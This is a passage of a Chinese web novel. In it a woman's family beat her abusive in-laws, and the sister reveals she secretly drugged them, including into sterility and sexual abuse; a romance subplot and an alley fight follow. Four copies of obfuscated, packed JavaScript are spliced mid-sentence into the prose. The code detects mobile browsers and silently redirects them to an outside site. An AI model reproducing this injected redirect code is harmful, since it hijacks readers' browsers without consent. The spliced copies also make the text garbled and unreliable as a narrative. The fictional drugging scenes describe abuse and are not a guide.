“你们都把人打成这样了,叫什么家务事?我劝你见好就收,否则事情闹大,对举人老爷的名声可不好。” “不过是断了几根骨头,养养就好了,况且我还赔了银子的。”闻颜笑容亲切,“还有,我劝你别想着威胁应举人,他不是你一个小小村长能动的。” “柳闻颜!你不要敬酒不吃吃罚酒。”村长斜目怒睁,一巴掌拍在桌上。 震得桌上的杯碗相撞,发出丁零当啷的脆响。 “不知村长要给我吃什么罚酒?难不成,你要带着全村村民把我们扣在此处?或是想殴打我们给方家报仇? 既然能叫出我的名讳,想必你对我的身份也有所耳闻。 但凡你们敢碰我一根头发丝,你觉得你们满村的人,够不够给我陪葬的。” “你……你好嚣张!”村长都震惊了。 他没想到,自己都出面了。 她还不知好歹,反而还敢跟自己叫板。 她难道真的不怕离不开村子吗? “呵……,我嚣张又如何?你能拿我怎么样?”闻颜朝村长做了个鬼脸。 村长确实不敢拿闻颜怎么样,更不敢拿应知林这个举人怎么样。 气得他嘴都歪了。 “你现在在这里装什么啊?我二姐姐被方家当作老黄牛,白天走街串卖货,晚上还要回来干家务的时候,你看不见? 我二姐姐被打流产三四次的时候,你怎么不出来主持公道? 我小外甥女才三四岁,被他们虐待成什么样了?怎么不见你露面? 我今天不过是跟方家人清算旧账,你就坐不住了? 知道的,以为你这个村长公正公平;不知道的,还以为你跟方家人有什么私情。” 村长被她气得脸红筋胀,顿时说不出话来。 “我二姐姐在方家过的什么日子,想必大家有目共睹,不用我多说。 你们可以说我二姐姐是外嫁来的,不是一家人。 可我的小外甥女呢? 大家看看这孩子,明明三四岁了,却瘦小得像一两岁,可见方家就没给过她一顿像样的饭吃。” 闻颜抱过小方荷,把她的双手露出来给大家看,“你们看她手上的冻疮。 敢问全村谁家的孩子,手能烂成这样?” 村长看见那些冻疮,眼神瑟缩了一下。 他是有听说柳如星母女在方家过得不好,以为方家只是奴役柳如星,没想到他们竟然会如此苛待一个女娃。 都说女娃不值钱,但也没必要如此磋磨吧。 闻颜笑着问村长:“所以,村长您还要继续帮他们吗?” 村长看看闻颜,又看看应知林,两个都是他招惹不起的人。 他咬了咬牙,最后拂袖而去。 “村长……村长你别走啊村长……”方母追上去。 村长生怕被她沾上,撒丫子跑了。 三嫂嫂一把将方母拽了回来。 那些瞧热闹的村民,也不敢再呆,全都灰溜溜的离开了。 大嫂嫂走过去直接把院门关上。 剩下的,便到了关门打狗的时间了。 很快,方家的院子里就响起此起彼伏的惨叫声。 闻颜的一袋银子花完,方家几个主要劳动力,也都躺在地上惨叫了。 柳如星抱着方荷,站到一旁,看着方家人一人接一个的断手断脚。 她的眼神里冷漠与兴奋交缠在一起。 原来,那些对她动则打骂,她以为永远都反抗不了的方家人,在绝对的力量面前,如同纸老虎一样,根本不堪一击。 她现在很后悔。 后悔自己太懦弱,没能早点反抗,她就该用赚来的银子,请几个混子,把方家人一次性打残。 自己和女儿,就能少受很多苦难。 看着他们在地上打滚哀嚎,她的嘴角止不住的上扬,喉咙里发出呕哑嘲哳的笑声。 因为要压抑住情绪,让她的表情都扭曲了。 落在别人眼里,她就是伤心到不能自已。 闻颜走到柳如星:“二姐姐,你还好吧。” 二姐姐收敛起扭曲的表情,“我还好,这几年的恶气,终于出了。” 闻颜握着她的手,心疼地道:“二姐姐,不如和离吧,彻底离开这个狼窝。” 听见可以和离,柳如星的眼里泪光浮动,但她很快就收敛情绪,摇了摇头:“既然现在形势对我有利,我为什么要现在离开? 这几年我所受的委屈,岂是这一顿打就能收回来的。 每一次侮辱,我都要加倍奉还!” 二姐姐积压了近十年痛苦,不是一朝一夕就能消解的。 她留下也好,折磨方家人,等她把心底的怒气全部消解之后,再把他接回家也不迟。 反正现在方家人的成年人没有一个是健全的,已经构不成威胁。 闻颜没再劝,“那你在这边保护好自己,我再去在你找两个帮手。” 闻颜朝院门而去。 院子里全是方家人的咒骂,闻颜按了按耳朵:“吵死了。” 应知林立即脱下他们的鞋子,塞进那些人的嘴巴里。 世界终于安静了。 闻颜打开院门。 一堆听墙角的村民栽了进来。 村民神色尴尬,走也不是,不走也不是。 闻颜在村民里扫了一圈,指着两位婶子,笑着道:“我有事请二位帮忙,当然,好处少不了你们的。” 那两位婶子立刻推开其他人,挤到了闻颜面前,笑着道:“柳夫人,您有何吩咐?” 闻颜把他们叫到一旁,一阵耳语之后,两个婶子连连点头:“柳夫人您就放心吧,我们两个单对单可能不如方泼妇厉害,但是我们两个联手,方泼妇肯定不是对手。 我们一定会把你的二姐姐和外甥女保护好的。” “那就劳烦两位婶子了。”闻颜一人给了一吊钱。 闻颜叫上家人:“这边的事情已经处理完了,我们也回家吧。” 柳家人跟二姐姐道别时,张敢娘提议把小方荷接回家住一段时间,不过被柳如星拒绝了。 小方荷自己也不愿意与娘亲分开,他们也不强求。 柳如星眼圈泛红:“小妹,谢谢你。” 闻颜拍拍她的手:“都是自家姐妹,没必要这么见外。” “嗯。”柳如星抹着眼泪点头。 第345章:真正的报复早就开始了 闻颜一行,坐着马车依依不舍地驱车离开。 柳如星驱散门口的看客,就请那两位婶婶把方家人拖进屋里,随后便以请大夫的名义,把其中一人支使出去。 院门关上。 柳如星抱着小方荷回到堂屋里,方家人还躺在地上哀嚎。 柳如星抱着孩子,在他们之间逡巡。 她眉眼下垂,看他们如同看蝼蚁一般。 方家仅有一对爷奶没被挨揍。 他们不是没欺负过柳如星,相反他们的手段更加阴损。 闻颜之所以没有动他们,一是因为他们年纪大,一不小心就容易把人弄死。 再就是,方家人全部倒下了,谁来照顾这些残废啊! 他们那么喜欢磋磨人,那就自吞恶果好了。 方家人以为闻颜走了,就能收拾柳如星了。 便鼓动两位老人打她。 两个老人也蠢蠢欲动。 谁知柳如星从腰间抽出一把菜刀。 帮忙的婶子也抽出棍子,对两个老人挥了挥。 两个老人顿时缩着脖子,屁都不敢放一个。 方货郎气得要死,对柳如星“……你,你个毒妇,你不敬公婆,不侍奉丈夫,还生不出儿子,像你这种贱女人,我留着你没休掉,已经是我的仁慈,你……你不得好死!” “啪——”柳如星转头就甩了他一个耳光,“你当自己是什么好东西!要不是我带不走方荷,我能让你折磨我这么多年!” 骂完她犹不解气,在他腿上狠狠跺了一脚。 “啊——你敢打我!我可是你的男人!” “打你又怎么样。我不止现在打你,我以前还给你下过药,知道为什么我生了方荷之后,就不能怀孕吗?”柳如星癫狂大笑,那样子就跟疯了一样。 “你……你这话是什么意思?”方货郎心里生起一股不好的预感。 “当然是因为我给你下下了让男人绝嗣的药啊! 当然,我这人最公平了,但凡欺负过我的人,我一个都不会放过。 所以……你们方家人的男人,全都不能生了!” “等一下,让我算算下了几年药来着……”柳如星掰着指头数起来:“从我怀上荷儿开始,到现在有五年多的时间了吧!” “不可能! 如果你那些药有用,那我们方家这几年出生的孩子……”方父震惊地瞪圆了眼睛。 这个糟老头子看着蔫不坑声,老实巴交,其实他的脑子转得最快,心思也最阴毒了。 “你不是已经想到了吗?我的好公公。别人都说你老实巴交,我婆婆恶毒跋扈,其实她就是你手里的一把刀而已,一直被你当枪使,简直蠢得要死。” 柳如星笑嘻嘻的,忽然指着方老二的媳妇,问方父:“公公,你说二弟妹生的孩子,是二弟的种?还是你的种?或者是她跟外面的野男人借的种?” 二弟妹脸都白了,随后又涨得青紫。 她跟公公的事,以为不会有第三个人知道,没想到柳如星早就知道了! “你住嘴,你胡说八道,我跟你拼了!”二弟妹尖叫着扑向柳如星,但是她一动,就牵动了断腿,又一屁股坐回地上。 柳如星走过去,一巴掌抽在她脸上。 痛得她甩了甩手,才对着二弟妹冷笑出声:“二弟妹,家里的女人当中,就你欺负我欺负得最狠。 一开始我一直想不通,同为儿媳,你为什么有那么大的底气欺辱,直到我看见你跟这个老东西在灶房的柴垛子后面偷情,才知道你仗着谁的势。 啧啧啧,可怜我的好婆婆,就在一墙之隔的地方剁猪草呢! 这些年的仇我都一笔一笔的记着,想着要怎么‘报答’你。 此时此刻,你对我的‘报答’还满意吗?” “啊……我要杀了你,杀了你!”二弟妹痛得在地上扭成团。 “当然,除了二嫂嫂,你们所有人,谁是谁的妻,谁是谁的男人,孩子又是谁的种,你们当真还分得清楚吗? 当然,这里面还包括我的好婆婆你……” 方母此时震惊地瞪着柳如星:“你把我怎么了?” “你那么心疼你的儿子们,我当然要你方方面面都照顾到啊! 那几次你醒来之后,不是浑身酸痛吗? 可都是你好儿子们的功劳。” 听明白柳如星话里的意思,方母双眼一翻就晕了过去。 她的几个儿子听后,趴在地上呕吐起来。 柳如星拍着手,笑得开心:“真是一出好戏啊!让人意犹未尽。” 但她笑着笑着,眼泪就流下来了。 小方荷挣脱张敢娘的怀抱,跑过去一把抱住柳如星:“娘,我们不哭,我们好好的!” 柳如星紧紧抱着女儿,把脸埋在女儿单薄弱小的颈窝里,哭声变成了哽咽。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553024|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方货郎眼神阴狠地盯着小方荷:“那她呢?又是谁的种?” 柳如星嫌恶地看了他一眼,没有回答。 一个接一个的惊天新闻爆出来,帮忙的婶子瞠目结舌,人都石化了。 方方方……方家人玩得这么花的吗? 公公和儿媳,媳妇和兄弟,儿子和亲生母亲…… 她看看方家人,又看看柳如星。 一时之间都不知道该同情谁。 柳如星心情畅快了,另一个婶子也请到大夫回来了。 让大夫给方家人救治。 柳如星朝看守的婶子使了个眼色,走出堂屋。 婶子咽了咽口水,就跟了出去。 两人在院墙根说话。 柳如星站的角度,刚好可以看见堂屋里的一举一动。 那婶子低着头,不敢直视柳如星。 柳如星目光淡淡地看着她,好半天都没出声。 婶子只觉得如芒在背,浑身的汗**都竖起来了。 好半晌,他才憋出一句:“货郎媳妇,你……你放心,刚才我什么都没听到,我更不会把你家的事,往外泄露半个字。” 这个村子的人,都叫柳如星货郎媳妇。 柳夫人的银子虽多,却一点都不好赚啊。 她生怕自己哪句话,说得不合货郎媳妇的心意,她就把那要命的药给自家来一包。 “为什么要保密?”柳如星道,“这么好听的八卦,当然要说出去啊。不过,哪些内容该说,哪些内容不该说,你应该明白的吧!” 那婶子怔了一下,随即连连点头:“我明白,都明白。保证完成货郎媳妇交代的一切。” 方家的丑事要宣扬,但货郎媳妇下药这种事,最好还要掺和进去。 “那就有劳婶婶了。以后我也要多劳烦婶婶。” 那婶婶赶忙小跑着离开了。 柳如星亲了亲女儿的脸:“荷儿,我们终于能光明正大的报复回去了。” 小方荷擦干净柳如星的眼泪:“娘,不哭,以后你还有我。” 小方荷的眼中,透露出一股不属于这个年龄的成熟。 “对,娘还有荷儿,娘会好好的,娘以后一定会把你养得很好很好的。” “还有,外婆舅舅还有姨母都是好人,我们也好好对他们,好不好?” “好。荷儿都听娘亲的。”小方荷乖巧地靠在柳如星颈窝。 第346章:来自颜颜的关心 闻颜一行往回走。 路途并不算远。 在岔路口与柳家人分开后,柳四哥就和闻颜他们一起去松山村,明天一起去京城学艺。 便与应知林共乘一骑。 闻颜夹了夹马腹,马儿跶跶跶的上前,与应知林并肩而行:“今天的事,谢谢你了。” 应知林笑着摇摇头:“我们现在毕竟是一家人,举手之劳而已。” 闻颜悄悄觑他一眼:“不觉得我今天做得很过分吗?” 应知林挑挑眉:“难道我看起来像什么大善人吗?” “你中午没吃什么东西,这会儿骑马会不会冷?”应知林转移了话题。 闻颜点点头:“是有点饿了,我们加快速度吧,早点回家,这天阴沉沉的,看起来又要下雪了。” 没一会儿,他们就回到村子里。 佩儿看见闻颜就扑上来挽着闻颜的胳膊:“小姐,您可算回来了。 佩儿想死你了。” 闻颜捏捏她胖嘟嘟的脸蛋:“我也想你了。我们明天就要去京城,东西收拾好了吗?” “佩儿办事,小姐您就放心吧。”佩儿把小胸脯拍得邦邦作响。 “佩儿办事,我放一万个心。”主仆二人,说说笑笑进了院子。 闻颜一一见过家里人,又去看辰七哥。 辰七哥立即把一沓账本甩给她:“你明天就回京城了,先把账给我对了。” 闻颜双手捂脸:“你就不该回来的,又要当牛做马。” 闻颜哈哈的看账,忽然一块点心塞进她嘴里。 闻颜抬头,就看见应知林坐在对面,手里还端着一盘点心。 应知林冲她甜甜一笑:“你不是饿了吗?先吃一些点心填填肚子,灶房已经开始做晚饭了。” 闻颜捂着嘴嚼啊嚼,含混不清的道:“还好你想着我,谢谢你啊。” 辰七哥目光在两人身上转来转去,意味深长地勾了勾嘴角。 还好账目不算多,闻颜一刻钟就结束了。 跟辰七哥斗了几句嘴,她又去颜料工坊转了一圈。 将做好的颜料抱进书房,再将它们按照颜色深浅,做成一个色系。 明日一起带到京城,放到‘一点墨’去售卖。 她正忙活着,书房的门就被敲响了。 “进来。”闻颜应了一声。 就见慧娘抱了一只匣子走了进来:“小姐,我们的第一批墨已经制好了。” “快拿给我看看。”闻颜欣喜地朝他招招手。 慧娘把匣子放到桌子上,打开后,就见里面整整齐齐码了一箱的墨锭。 墨锭鎏金印着‘一点墨’三个草书字样。 一股青幽的墨香瞬间飘了出来。 闻颜拿了一块墨,先观其形,再闻其味,再看其色。 又磨了墨汁,写了几个字。 下笔丝滑流畅,色泽浓黑中泛着一点红光。 闻颜惊喜道:“成色比我预想中还要好,慧娘,你真厉害。” 慧娘松了口气的同时,说道:“能让小姐满意就再好不过了。不过这不是我一个人的功劳,中途姑爷来帮着试墨、指点过好几次。” 提到应知林,闻颜就没忍住,嘴角微微上翘。 她推开窗户,朝外面喊:“知林。” 不一会儿,应知林就出现在书房里。 闻颜把一个小包袱递给他:“喏,你调的墨锭出来了,这是给你的酬劳。” “给我?”应知林还是一脸疑惑,“这么多!” “这是你应得的。 你是留着自用,还是拿出去送人,都随你处置。” 应知林想到书院里家境贫寒的同窗,他就把墨锭收下了:“我会让它们发挥应有价值的。” 这边的事情谈好,佩儿就过来叫他们吃晚食了。 仔细一看,外面的天色已经黑了下来。 晚饭过后,闻颜私下找到康叔。 一阵吩咐之后,她就回屋去收拾贴身行李,明天就去京城了。 应知林坐在窗前的榻上翻书。 其实,他的心思早就飘远了。 颜颜明天就要走了。 自己又要独守空房了。 好想明天就能参加会试,那样自己就能和闻颜一起去京城了。 他发现自己越来越贪念颜颜,想到要同她分开,哪怕只有一天,他都无法忍受。 他想一直一直和她在一起。 让她成为自己的人,或者自己成为她的人! 忽的。 翻开的书页 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561224|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上突然出现一只修长细嫩的手掌。 应知林怔了一下。 抬起头来,就见闻颜正看着自己。 “你怎么了?在发什么呆?这一页书你已经看了一刻钟了?”闻颜问道。 应知林看着她的脸,神情入迷呆怔。 “已经病得呆滞了吗?你告诉我哪里难受?”闻颜把手贴在他额头上,试探温度。 闻颜的手小小的,软软的,带着柔和的体温。 被她碰触的地方没来由的发烫,像是着了火一般。 闻颜感受到他额头逐渐滚烫的温度,吓了一跳:“好烫,你真的生病了!告诉我,你哪里不舒服,我有治疗各种伤寒症状的药丸,吃了很快就会好起来的。” 为了摸准症状,她摸摸他的手心、脸、后脑勺和脖子。 最后咬了咬牙,扯开他的衣领,想试一试他胸腹腋下的温度。 扯开衣领,露出白皙结实的胸膛。 她的手还没探进去,就被应知林抓住。 闻颜用眼神询问他怎么了。 应知林牵着他的手,按在胸口位置:“我……我这里难受。” 手心传来他怦怦心跳。 闻颜蹙眉,感受着他的心跳,认真数着拍子:“你的心跳确实比常人要快一些。 莫非你患上了心疾?” “这下糟了,我备的都是对症感冒风邪,发热头痛的常用药,没有治疗心疾的。 这可如何是好!” 闻颜急得以拳击掌,转身就搀着应知林,“走,我带你进去城看大夫去。” 应知林看着闻颜的眼睛,她的担心着急不是假的。 这是不是说明,自己在闻颜心里,已经有一点点分量了? 应知林心里泛起甜蜜和酸涩。 他好想握住她的手,告诉她自己的真心。 但他知道,她一定会应激式的反对,否认。 他拉住闻颜,摇了摇头:“我没事的。这是**病了。 每次发热都会引发轻微心悸,热度降下去就会恢复。” “真的没事吗?”闻颜还是不放心。 心悸问题可大可小,一不小心就会**的。 【感冒:南宋《诸风》章节中描述:感冒风邪,发热头痛……】 第347章:我想要你也可以吗 应知林握着她慌张的小手:“我真的没事。你不是有治了发热的药吗?你给我吃两颗,捂着被子睡一觉,明天早上就好了。” 他也不算说谎吧。 只要闻颜不再碰他,他就不会面红耳赤心跳加速了,身体自然就能药到病除。 “那好吧。”现在时间不早了,也不一定能找到大夫,“你吃过药就先躺下休息,有任何不适,都要第一时间告诉我好吗。 我带你去找大夫。” 闻颜拿来药丸,给应知林喂了两颗,就把他赶床上去躺着了。 她还是照顾小孩一样,给他喂了一颗糖,还仔细地掖好了被角。 应知林看着她认真的样子,嘴角就忍不住含笑。 不过一想到明天就要和她分开,他心里又空落落的。 他装作不经意地问道:“颜颜,明儿才初四,你急着去京城,可是有什么急事? 需不需要我跟着你一起去帮忙?” “不是什么大事,我自己能搞定。”闻颜摇摇头,轻手轻脚地收拾东西。 应知林心里发涩,果然,颜颜还是不够信任我。 闻颜收拾完东西之后,坐在窗前翻了会儿书,屋外就传来一声鸣叫。 闻颜立即披着大氅出去了。 应知林睁开眼睛,猛地坐了起来。 他掀开被子,想跟着闻颜出去。 犹豫片刻之后,他还是躺回了床上,不能跟踪闻颜,要给她自由和隐私。 闻颜刚到月亮门下,康叔就露面了。 “康叔,你回来了。” “小姐,幸不辱命。”康叔把一只布袋递给闻颜,“您今日给出去银子,全在这儿了。” 闻颜接过袋子,看也没看,就问:“我二姐姐还好吧!” 康叔把看见的一五一十交待出来:“二小姐那边一切都好。那两位婶子也留存方家陪她,对她很是恭敬。 方家那些人,被二小姐关在屋子里,门窗都钉**。 我让老二老三在那边盯着了,一有风吹草动我这边都能及时反应。”老二老三是另外两名护院,都是带着功夫在身上的。 有他们盯着,闻颜才放心。 “辛苦两位叔叔了。等我二姐姐那边的事情尘埃落定,我不会让大家白忙活的。” 康叔道:“他们都是心甘情愿为您做事的。你为大家着想,他们也要投桃报李的。” 两人又聊了几句。 闻颜就带着一身寒气回到房间。 她先给炉子加满炭,才在床的另一边悄悄躺下。 应知林身上的冷冽墨香钻入鼻间,熟悉的味道让她很安心,没一会儿就睡着了。 已经睡着的应知林突然睁开眼睛。 他侧身躺着,看着闻颜的眉眼,眼神细细地描绘着,恨不得将她的模样刻进骨子里,才能在接下来看不见她的日子里慰藉相思。 “颜颜,我们一直在一起好不好?” “你不说话,我就当你答应了。” 闻颜忽然皱着眉,哼唧一声,就把被子踢开了:“好热……” “小心,别感冒了。”应知林扯过自己的被子将她盖上。 ** 方家院子里。 柳如星因为太过兴奋,久久无法入睡。 忽然,院子里一阵响动。 柳如星警觉地坐起来,从枕头下面摸出菜刀。 她捂着嘴,把另外两位婶婶叫醒,分别躲到门后和窗户下面。 屋外传来说话声:“那些银子真的方家人手里?” “我下午一直蹲守在外面,没见她搜身拿银子。” “走,先去把银子搞到手。” 随即,就听两人去了正屋。 两位婶子凑到柳如星身边:“听声音是村里的赖子,他们是冲着那些赔偿银子来的。” “他们抢完那边,不会再来找我们的麻烦吧。” “嘘……别说话,让他们发现我们醒着就麻烦了。” 两们婶子点点头,害怕得手都在发抖,死命握紧了手里的棍子。 正屋那边突然传来一阵哔哩啪啦翻箱倒柜的声音。 “银子呢?**,银子怎么不见了?是不是被柳如星那个娘们拿走了?” “不可能,我亲眼盯着的,柳如星不可逃过我的眼睛把银子拿走。” “那怎么办?总不能白来一趟吧。 今天那个女人不是也拿钱给柳如星那个臭婆娘了吗?不如我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561225|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们……” “啪——” 有人挨了一个耳光,“你脑子有坑啊! 那个娘们怎么对付方家人的你全忘了? 难道你也想断手断脚吗?” “我……我可不想招惹那个臭娘们儿。 真是晦气,难道真想白跑一趟? 老子在外面蹲了一下午,手脚都冻僵了,这口窝囊气老子咽不下。 不行,老子要去讨点利息回来。” 不一会儿,正屋那边就传来一阵阵惨叫。 等那些人走后,有位婶婶问:“我们不去看看吗?” 柳如星倏地一下站起身,摸索着往床边走:“怎么回事?我的梦游症怎么又犯了。” 两位婶子在黑暗中面面相觑,最后识相的闭嘴睡觉。 柳如星躺在床上,嘴角都快裂到耳后根,她现在好期待,明早看见方家人惨不忍睹的模样。 那两个懒汉,可造成别让她失望啊! 翌日清晨。 “柳四哥哥,你举我举我,我要这根大冰棱子。”院子里,传来应知海的嬉闹声。 闻颜被这些专门吵醒,还没睁眼,她就发现自己枕在什么硬邦邦的东西上面。 睁开眼睛一瞧。 自己竟然趴在应知林的胸膛上。 “哇……”闻颜一下坐了起来,“这这这……这到底怎么回事?” 应知林被惊醒,他慌慌张张地扯过被子,把自己紧紧的包裹住:“你什么都不记得了吗?” 闻颜:“我该记得什么吗?” 应知林抿着唇,明明是个高大的男人,此时却缩成一团。 他还把脸埋在膝盖里,一副受尽委屈的小可怜模样。 “难道我又……”轻薄应知林了? 她懊恼的一拍额头,跟应知林道歉,“对不起啊,我睡相不好。一不小心就钻到你的被窝里了。 我知道你受了委屈,这样吧,你想要什么补偿,你告诉我,我一定满足你。” 应知林抬起头来,使劲揉了揉眼睛:“真的吗?不管我提什么要求,你都会满足我?” “只要不犯法,我都尽量满足你。” 我想要你,你能把自己赔给我吗! 第348章:姐姐要开大了 要你,你能把自己赔给我吗! 应知林心中这样想着,脸上作小媳妇样:“我还没想好,等我想到之后再说吧。” 闻颜重重松了口气,生怕他改变主意。 她连忙起床,慌慌张张地穿衣服,系带都捆错了。 发髻也梳得歪七扭八的。 看她慌慌张张逃出门的样子,真的好可爱啊! 应知林的嘴角刚刚咧开,房门就突地再次打开。 闻颜脑袋探进来:“你的病好了吗,要不要给你请大夫?” 应知林板着脸:“不用,我已经完全好了。” “那就好,我梳妆台的匣子里,有一只冰裂纹的瓷瓶,里面是治风寒感冒的药,你要是感觉不舒服,就再吃两颗,然后立即去看大夫,知道吗?” “知道了,我一定乖乖听话。”应知林对她乖巧微笑。 闻颜瞬间被他的笑容晃花了眼睛,赶紧逃跑。 应知林以拳抵唇,轻笑出声。 闻颜真的傲娇又可爱,让他好想把她抱在怀里,抱抱、贴贴。 草草吃过早食,闻颜就出发去京城了。 应知林递来一只包袱给她,刚想交待里面是什么。 闻颜根本不给他开口的机会,一把夺过包袱,用力一夹马腹,马儿就如离弦的箭一般飞驰出去。 闻颜被这速度拽得往后一倒,差点从马上摔下来。 好在她马术精湛,轻松应付。 “我有这么可怕吗?”应知林无奈苦笑,叮嘱佩儿:“照顾好你家小姐。” “知道了,姑爷。”佩儿乖巧应着,驭马带着柳老四就离开了。 很快,两人的身影就消失在视线里。 “喂!都没影了,你还在看什么?”一根拐杖在他面前晃了晃。 应知林回过神来,挡开辰七哥的拐杖:“我就爱看,要你管?” 辰七哥单腿靠在门框上:“喂,你底把她怎么了?让她见你跟见到鬼似的。” 应知林用膊肘拐了辰七哥一下:“什么见鬼,那分明是害羞了。” “别怪我没提醒你,关于闻颜的事,最好三思而后行。 你要是敢让她不高兴,都轮不到我们这些哥哥出手,迟飞一个人就能揍死你。” 应知林斜他一眼:“没睡醒就回去睡个回笼觉,在这里发什么癔症。” 去往京城的路上。 天色阴沉沉的,黑云压顶,暴雪随时都会来临。 闻颜他们加快速度,没一会儿就到了县城。 今天逢集市,县城里人多,他们只能下马步行。 柳老四对县城熟悉,便带着他们走人少的近道。 没想到他们刚进入一条巷子,就见一名女子跌跌撞撞的跑过来。 她的身后还跟着七八个凶神恶煞的大汉,拿着棍棒追了上来。 “站住!臭娘们还敢跑,让我们逮住了有你好看的。”那些大汉一瘸一拐,身上还挂了彩。 有一个**汉头部还流着血。 闻颜打手势,三人齐齐退到路边,给他们让路。 那女子却直接往闻颜身上扑,“救命,小姐救救我……” 闻颜带着兜帽,本来看不清对方的长相。 女子一扯,兜帽掉下,就露出了闻颜真容。 闻颜也看清了对方的长相。 “闻颜!” “**儿!” 两人都惊讶地叫出了彼此的名字。 “怎么是你?” “你怎会在此?” 两人还没来得及多说,那些大汉就将他们团团围住,“吆呵,还有救兵! 臭婆娘,敬酒不吃吃罚酒,今儿落在爷几个手里,劝你乖乖把配方交出来,不然有你好看的。” “你自己不知死活,难道连你家里人的命也不顾了吗?” **儿像一只受惊的小兔子,躲到闻颜身后:“姐姐你救我。” “我说姓黄的臭娘们儿,你搬救兵好歹找几个身强体壮的男人啊! 再不济多找一点人,在数量上取胜啊。 瞧瞧你找的都是什么人。 两个**都没长齐的黄毛丫鬟,一个弱不禁风的半大小子,你确定他们能抗得下我一拳?” 闻颜看了**儿一眼,看来,那些觊觎**儿卤肉方子的人还没死心。 **儿看了一下双方战力,咬咬牙,最终还是松开了闻颜:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15564780|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们走吧,免得被我连累。” “现在想走?没门儿!”那几个壮汉根本不让走。 闻颜看了那几个大汉几眼,心中便有数了。 她把**儿拽到身后,对大汉道:“诸位,开个价吧,多少银子可以放她走。” “不要给钱,没有配方,他们拿到钱也不会放我们走的。”**儿阻止。 闻颜安抚地拍拍她的手,“没事,这点小事,我能解决。” “小娘们口气倒是挺大。长得也俊,一起带回去吧。”卖去青楼还能赚一笔外快。 “看来是没得商量了。”闻颜把缰绳交给**儿,“帮我看好马儿,别让它受惊。” 闻颜脱下斗篷和臃肿的棉袄。 她抬起手臂,袖箭咻咻射出。 四名大汉的大腿瞬间中箭,惨叫着倒在地上。 **儿震惊得瞳孔放大:“哇!姐姐好厉害啊!姐姐你好帅啊!” 剩下的四名汉子吓了一跳:“**,你们竟然用暗器!” “她应该没有箭了,不然应该全部把我们射伤。我们一起上,难道还拿不下她一个小娘们吗?”剩下的举着棍子就冲向闻颜。 柳老四和佩儿心惊肉跳,捡起棍子砖头护在闻颜面前。 闻颜却推开了他们,冲了出去。 “哇!姐姐要开大了吗?姐姐好帅,姐姐威武,姐姐棒棒的!” 闻颜目光坚毅,仗着灵活小巧的身体,三两下就在那些人的腿上扎出窟窿。 追捕的人惨叫着倒地。 “哇……姐姐你太猛了,我爱你,爱死你了!” **儿又蹦又跳,发出阵阵尖叫爆鸣。 闻颜脚下一滑,好险没摔个狗吃屎。 这个**儿在鬼叫些什么! 她掉了一回井,就跟换了个魂似的。 莫非,她跟自己一样,也有了重生的奇遇? 闻颜的耳朵都快被**儿的鸡叫吵聋。 她回头白了**儿一眼:“吵,住口。” **儿缩了缩脖子,在嘴巴前面捏了一下,表示噤声。 佩儿连忙把厚衣披在闻颜身上。 闻颜转身走向那些大汉。 第349章:柳大善人 “回去告诉你主子,**儿是我罩的人,让她有事只管来找我。”闻颜走到大汉跟前,踹了他一脚,“还不快滚。” 那些人如蒙大赦,互相搀扶着,狼狈逃跑了。 巷子里只剩下四人两马。 柳老四目瞪口呆:“小……小妹竟然会功夫! 自己这个哥哥,跟她比起来,真是啥啥都不会啊。” 想要当小妹的依靠,只会经商恐怕还不够! 闻颜拿回自己的缰绳,对**儿道:“宝贝东西要么藏好,要么找个大靠山再拿出来,否则遭人惦记会被吃得骨头都不剩。 这次是看在应知林的份上才帮你的。 我能帮你一次,帮不了你一世。” 自身再有实力,再真正的权力面前,不值一提,就像前世的她。 说完,她拿过自己的缰绳,牵着马儿就离开了。 **儿目送闻颜一行人拐出巷子,这才拍着胸口松了口气:“好险,又保住一回小命。” 县城某处宅院里,逃跑的大汉毕恭毕敬的跪在地上。 一个轻微发福的中年男子,背对着他站着。 听完大汉交待的全过程后,那人惊讶出声:“那个女人真让我们去找她?难不成她就是**儿的幕后之人?她是何身份?” 